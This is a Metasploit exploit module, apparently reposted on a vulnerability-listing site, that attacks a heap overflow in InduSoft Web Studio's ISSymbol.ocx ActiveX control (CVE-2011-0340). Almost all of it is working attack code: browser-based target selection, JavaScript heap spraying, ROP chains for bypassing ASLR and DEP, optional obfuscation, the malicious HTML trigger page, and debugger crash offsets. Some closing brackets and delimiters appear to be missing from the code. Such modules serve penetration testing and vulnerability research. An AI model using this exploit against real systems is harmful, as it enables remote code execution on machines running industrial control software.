发布 2012-12-20 漏洞条目

InduSoft Web Studio – ‘ISSymbol.ocx InternationalSeparator()’ Heap Overflow (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:rank => NormalRanking,

:classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",

:method => "InternationalSeparator"

})

def initialize(info={})

super(update_info(info,

'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",

'Description' => %q{

This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00

SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long

string argument for the InternationalSeparator() method of the ISSymbol control.

This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.

'License' => MSF_LICENSE,

'Author' =>

[

'Alexander Gavrun', # Vulnerability discovery

'Dmitriy Pletnev', # Vulnerability discovery

'James Fitts', # Metasploit module

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2011-0340' ],

[ 'OSVDB', '72865' ],

[ 'BID', '47596' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],

[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]

'Payload' =>

{

'Space' => 934,

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],

[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],

[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],

[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],

[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],

[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]

'Privileged' => false,

'DisclosureDate' => "Apr 28 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def ie_heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c

case my_target

when targets[7]

# IE 9 on Windows 7

js = %Q|

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_random_nops}");

while (nops.length < 0x80000) nops += nops;

var offset_length = #{my_target['Offset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

else

# For IE 6, 7, 8

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

return js

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

if t['Rop'].nil?

prepend = [

0x0c0c0c0c,

0x0c0c0c28 # Will finally become EIP

].pack("V*")

return prepend + code

end

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

stack_pivot = [

0x0c0c0c0c, # ret from msvcrt.dll

0x77c15ed6, # ret from msvcrt.dll

0x77c1f519, # pop # ret from msvcrt.dll

0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll

].pack("V*")

rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})

else

print_status("Using JRE ROP")

stack_pivot = [

0x0c0c0c0c, # ret from msvcr71.dll

0x7c376fff, # ret from msvcr71.dll

0x7c376ffe, # pop # ret from msvcr71.dll

0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll

].pack("V*")

rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

end

return rop_payload

end

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)

js = ie_heap_spray(my_target, p)

# ActiveX parameters

clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"

name = rand_text_alpha(rand(50) + 1 )

boom = Rex::Text.to_unescape("\x0c" * 6888)

html = %Q|

<html>

<head>

#{js}

</script>

</head>

<body>

#{name}.InternationalSeparator(unescape("#{boom}"));

</script>

</body></html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

=begin

eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796

eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

ISSymbol!DllUnregisterServer+0xc9e2:

100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????

0:000> u eip

ISSymbol!DllUnregisterServer+0xc9e2:

100127d2 8b01 mov eax,dword ptr [ecx]

100127d4 8b5018 mov edx,dword ptr [eax+18h]

100127d7 ffe2 jmp edx

100127d9 cc int 3

100127da cc int 3

100127db cc int 3

100127dc cc int 3

100127dd cc int 3

* ebx

$ ruby pattern_offset.rb 41306941 6888

[*] Exact match at offset 240

* ecx

$ ruby pattern_offset.rb 336b4632 6888

[*] Exact match at offset 4208

=end

作者: Metasploit
日期: 2012-12-20
类别: remote
平台: windows

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